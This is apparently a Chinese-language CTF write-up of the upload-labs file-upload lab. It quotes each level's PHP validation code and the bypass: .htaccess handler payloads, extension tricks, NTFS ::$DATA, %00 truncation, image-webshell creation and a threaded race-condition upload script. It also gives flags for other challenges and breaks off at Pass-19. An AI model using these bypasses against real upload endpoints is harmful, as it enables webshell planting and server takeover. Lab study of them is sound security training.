运行环境
操作系统:Windows 、Linux
php 版本:推荐5.2.17 【其他版本可能会导致部分Pass 无法突破。
php 组件:php_gd2、php_exif 【部分Pass 需要开启这两个组件。
apache :以moudel 方式连接
题解
Pass-01
文件上传的检验代码写在了JavaScript 中。
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function checkFile ( ) { var file = document .getElementsByName ('upload_file' )[0 ].value ; if (file == null || file == "" ) { alert ("请选择要上传的文件!" ); return false ; } var allow_ext = ".jpg|.png|.gif" ; var ext_name = file.substring (file.lastIndexOf ("." )); if (allow_ext.indexOf (ext_name) == -1 ) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert (errMsg); return false ; } }
绕过的方法很简单,抓包后将jpg 后缀改成php 然后提交即可。
Pass-02
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { if (($_FILES ['upload_file' ]['type' ] == 'image/jpeg' ) || ($_FILES ['upload_file' ]['type' ] == 'image/png' ) || ($_FILES ['upload_file' ]['type' ] == 'image/gif' )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = UPLOAD_PATH . $_FILES ['upload_file' ]['name' ]; $is_upload = true ; } } else { $msg = '文件类型不正确,请重新上传!' ; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!' ; } }
看源码发现只判断了content-type ,于是抓包的修改成image/jpeg 就可以绕过了。
Pass-03
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], UPLOAD_PATH. '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = UPLOAD_PATH .'/' . $_FILES ['upload_file' ]['name' ]; $is_upload = true ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
本地写一个.htaccess 。
1 AddType application/x-httpd-php .jpg
后面可以改成未被拦截过滤的后缀名就行了。
Pass-04
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,"php1" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,"pHp1" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = UPLOAD_PATH . $_FILES ['upload_file' ]['name' ]; $is_upload = true ; } } else { $msg = '此文件不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
几乎过滤了全部,但是htaccess 还存活着。
1 SetHandler application/x-httpd-php
作用是把所有文件解析成php ,这个时候上传图片马就行了。
Pass-05
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = UPLOAD_PATH . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
全过滤了,但是没有转换成小写,因此改成phP 就可以了。
Pass-06
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = $_FILES ['upload_file' ]['name' ]; $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = UPLOAD_PATH . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
源码和Pass-05 对比少了一个首尾去空,可以抓包后在后缀多加一个空格。
原理
trim(string,charlist) 这个函数是用来删除字符串左右两边的charlist 字符的,若空则删除空格。
此处利用了Windows 下的特性,就是文件名为filename.php. 的话保存的时候最后一个点会被去掉,变成了filename.php 。
Pass-07
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = UPLOAD_PATH . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
对比Pass-06 ,并没有删除最后的点,因此抓包修改文件名最后加. 就好了。
Pass-08
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = UPLOAD_PATH . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
看代码,没有删除::$DATA 这一串。
利用Windows 的特性,因为保存的时候不会保存这一串,因此抓包修改后缀为php::$DATA 得以绕过。
原理
【抄自L1nk3r 学长的博客。
NTFS 是微软Windows NT 内核的系列操作系统支持的,是为了解决网络和磁盘配额,文件加密等安全特性所设计的磁盘格式,比FAT 文件系统更加稳定,也更加安全。
NTFS-ADS ,又称为NTFS 交换数据流,是NTFS 磁盘格式的一个特性。
在NTFS 文件系统下,每个文件都可以存在多个数据流,也就是说,除了主文件流之外,还可以有很多非主文件流寄宿在主文件流中。虽然我们无法看到数据流文件,但是它是真实存在于我们系统之中的。
格式如下:
1 <filename>:<stream name>:<stream type>
有如下Payload :
流类型以$ 开头,默认流类型为data ,如上Payload 的完整形式其实是:
文件内容在数据流文件中,我们当初上传的就是一个文件流文件,之所以会顺带生成phpinfo.php ,是因为它没有找到自己的宿主文件,所以才创建了一个。
同理phpinfo.php::$DATA 可以写入文件,是因为它确实向phpinfo.php 写入了内容。
Pass-09
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = UPLOAD_PATH . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
看起来是该过滤的都过滤掉了,但是也只过滤了一次,抓包写后缀php. . 就可以了。
Pass-10
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace ($deny_ext ,"" , $file_name ); if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], UPLOAD_PATH . '/' . $file_name )) { $img_path = UPLOAD_PATH . '/' .$file_name ; $is_upload = true ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
后缀由于只删除一次,所以只要抓包后写pphphp 后缀就好了。
原理
str_ireplace(find,replace,string,count) 该函数对大小写不敏感。
同时对大小写敏感的是,str_replace(find,replace,string,count) 。
作用是将string 中的find 替换成relpace ,count 计数替换了几次。
如果find 和replace 都是数组的话,replace 若多于find ,则多余部分无视,若少,则空串替换。
Pass-11
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = '上传失败!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
Get 请求,在保存路径处修改为save_path=../upload/filename.php%00 上传可以绕过。
1 2 3 4 5 6 7 8 if (isset ($_GET ['nctf' ])) { if (@ereg ("^[1-9]+$" , $_GET ['nctf' ]) === FALSE ) echo '必须输入数字才行' ; else if (strpos ($_GET ['nctf' ], '#biubiubiu' ) !== FALSE ) die ('Flag: ' .$flag ); else echo '骚年,继续努力吧啊~' ; }
ereg() 函数是寻找匹配字符。即第二行需要Get 一个数字。
strpos() 函数会返回查找的字符串的位置。即在第四行的作用是匹配#biubiubiu 就行了。
并且这儿ereg() 函数有两个漏洞,一是有%00 截断是认为字符串结束;二是Get 到数组的时候返回值不是FALSE 。
那么构造?nctf=1%00%23biubiubiu 呢,一是ereg() 函数接收到%00 后就截断了,因此只收了1 。而后面的strpos 会完整的接收,因此有返回值。
第二个构造的?nctf[]=1 这个一是ereg 函数接收数组匹配不会返回FALSE 【具体是什么我也没测试XD 。二是strpos 函数未匹配到字符串会返回0 ,而第四行处0!==FALSE 是TRUE ,因此得以绕过,得到flag ,nctf{use_00_to_jieduan} 。
原理
%00 截断的条件:
php版本小于5.3.4 ,详情关注CVE-2006-7243 。
php的magic_quotes_gpc 为OFF 状态。
%00 截断有这么两种利用状况
在url中加入%00 ,如http://xxxx/filename.php%00.jpg 。
在Burpsuite 的16 进制编辑工具将filename.php .jpg 中间的空格由20 改成00
Url 中的%00 【只要是这种%xx 的形式,Webserver 会把它当作十六进制处理,然后把16 进制的hex 自动翻译成Ascii 码值null ,实现了截断Burpsuite 中16 进制编辑器将空格20 改成了00 ,跟上面一样的变成Ascii 的null 。
Pass-12
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_POST ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
Post 请求。与Get 请求不同的是它需要在Hex 中save_path=../upload/filename.php 后修改0x00 截断才能产生空字符。
修改/uploads/1.php .jpg 然后转到Hex 。
很容易就看到Hex中对应的那一串/uploads/1.php .jpg 。
20 是空格,在php 和jpg 中间,把它改成00 就行了。
1 2 恭喜你获得flag一枚: flag{SimCTF_huachuan}
传php 的结果是:
1 Array ( [0] => .php [1] => php ) 不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件
传jpg 的结果是:
1 2 3 4 5 Array ( [0] => .jpg [1] => jpg ) Upload: 1.jpg Type: image/jpeg Size: 36.2470703125 Kb Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) { ["dirname"]=> string(9) "./uploads" ["basename"]=> string(5) "1.jpg" ["extension"]=> string(3) "jpg" ["filename"]=> string(1) "1" } 必须上传成后缀名为php的文件才行啊!
猜测是00 截断了,解法同上面实验吧。
1 2 恭喜你获得flag一枚: flag:nctf{welcome_to_hacks_world}
Pass-12
同Pass-11。清除缓存得到了正确结果。
1 <img src="../upload/1.php□.jpg/7420180731234236.jpg" width="250px" />
Pass-13
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 function getReailFileType ($filename ) { $file = fopen ($filename , "rb" ); $bin = fread ($file , 2 ); fclose ($file ); $strInfo = @unpack ("C2chars" , $bin ); $typeCode = intval ($strInfo ['chars1' ].$strInfo ['chars2' ]); $fileType = '' ; switch ($typeCode ){ case 255216 : $fileType = 'jpg' ; break ; case 13780 : $fileType = 'png' ; break ; case 7173 : $fileType = 'gif' ; break ; default : $fileType = 'unknown' ; } return $fileType ; } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_type = getReailFileType ($temp_file ); if ($file_type == 'unknown' ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_type ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } }
做一个图片马传上去就行了。
1 copy 1.jpg /b + 1.php /a shell.jpg
看了半天才发现需要配合文件包含漏洞才能继续下去。而此处没有。
Pass-14
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 function isImage ($filename ) { $types = '.jpeg|.png|.gif' ; if (file_exists ($filename )){ $info = getimagesize ($filename ); $ext = image_type_to_extension ($info [2 ]); if (stripos ($types ,$ext )){ return $ext ; }else { return false ; } }else { return false ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" ).$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } }
同Pass-13 传图片马。
原理
此处使用的getimagesize() 函数用来判断文件类型。主要方式是检测文件头。
Pass-15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function isImage ($filename ) { $image_type = exif_imagetype ($filename ); switch ($image_type ) { case IMAGETYPE_GIF: return "gif" ; break ; case IMAGETYPE_JPEG: return "jpg" ; break ; case IMAGETYPE_PNG: return "png" ; break ; default : return false ; break ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" )."." .$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } }
题解是传图片马。
原理
exif_imagetype() 函数检测文件头判断文件类型,感觉和Pass-14 没差啊Orz 。
Pass-16
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =UPLOAD_PATH.basename ($filename ); $fileext = substr (strrchr ($filename ,"." ),1 ); if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefromjpeg ($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; }else { srand (time ()); $newfilename = strval (rand ()).".jpg" ; $newimagepath = UPLOAD_PATH.$newfilename ; imagejpeg ($im ,$newimagepath ); $img_path = UPLOAD_PATH.$newfilename ; unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefrompng ($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; }else { srand (time ()); $newfilename = strval (rand ()).".png" ; $newimagepath = UPLOAD_PATH.$newfilename ; imagepng ($im ,$newimagepath ); $img_path = UPLOAD_PATH.$newfilename ; unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefromgif ($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; }else { srand (time ()); $newfilename = strval (rand ()).".gif" ; $newimagepath = UPLOAD_PATH.$newfilename ; imagegif ($im ,$newimagepath ); $img_path = UPLOAD_PATH.$newfilename ; unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; } }
还是可以直接传图马。
不过直接传php 改jpg 后缀的就行,jpg 合成的图马会被二次渲染生成,其中插着的代码会被破坏。
后来看题解说需要自己根据正常图片上传后二次渲染后生成的图片和原本的图片比较数据块,然后在相同的数据块部分插入代码。具体实现需要自己写脚本。
Pass-17
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr ($file_name ,strrpos ($file_name ,"." )+1 ); $upload_file = UPLOAD_PATH . '/' . $file_name ; if (move_uploaded_file ($temp_file , $upload_file )){ if (in_array ($file_ext ,$ext_arr )){ $img_path = UPLOAD_PATH . '/' . rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; rename ($upload_file , $img_path ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink ($upload_file ); } }else { $msg = '上传失败!' ; } }
还是传图马上去就行,后来看题解的时候才发现正确的姿势。
源码18行中unlink 函数的作用是删除不符合规范的文件。
那么此处就是一个竞争了,写一个脚本不停的传🐎。
抄一下代码做笔记。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import hackhttpfrom multiprocessing.dummy import Pool as ThreadPooldef upload (lists ): hh = hackhttp.hackhttp() raw = """ POST /upload-labs/Pass-17/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://localhost/upload-labs/Pass-17/index.php Content-Type: multipart/form-data; boundary=---------------------------226482744623805 Content-Length: 329 Connection: keep-alive Upgrade-Insecure-Requests: 1 -----------------------------226482744623805 Content-Disposition: form-data; name="upload_file"; filename="1.php" Content-Type: application/octet-stream <?php phpinfo();?> -----------------------------226482744623805 Content-Disposition: form-data; name="submit" ä¸ä¼ -----------------------------226482744623805-- """ code, head, html, redirect, log = hh.http('http://localhost/upload-labs/Pass-17/index.php' , raw=raw) print (str (code) + "\r" ) pool = ThreadPool(10 ) pool.map (upload, range (10000 )) pool.close() pool.join()
Pass-18
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ require_once ("./myupload.php" ); $imgFileName =time (); $u = new MyUpload ($_FILES ['upload_file' ]['name' ], $_FILES ['upload_file' ]['tmp_name' ], $_FILES ['upload_file' ]['size' ],$imgFileName ); $status_code = $u ->upload (UPLOAD_PATH); switch ($status_code ) { case 1 : $is_upload = true ; $img_path = $u ->cls_upload_dir . $u ->cls_file_rename_to; break ; case 2 : $msg = '文件已经被上传,但没有重命名。' ; break ; case -1 : $msg = '这个文件不能上传到服务器的临时文件存储目录。' ; break ; case -2 : $msg = '上传失败,上传目录不可写。' ; break ; case -3 : $msg = '上传失败,无法上传该类型文件。' ; break ; case -4 : $msg = '上传失败,上传的文件过大。' ; break ; case -5 : $msg = '上传失败,服务器已经存在相同名称文件。' ; break ; case -6 : $msg = '文件无法上传,文件不能复制到目标目录。' ; break ; default : $msg = '未知错误!' ; break ; } } class MyUpload {...... ...... ...... var $cls_arr_ext_accepted = array ( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" ); ...... ...... ...... function upload ( $dir ) { $ret = $this ->isUploadedFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->setDir ( $dir ); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkExtension (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkSize (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_file_exists == 1 ){ $ret = $this ->checkFileExists (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } $ret = $this ->move (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_rename_file == 1 ){ $ret = $this ->renameFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } return $this ->resultUpload ( "SUCCESS" ); } ...... ...... ...... };
竞争改名,题解同Pass-17 的脚本。不过把上传的文件改成了filename.php.7z 【雾。
Pass-19
源码。
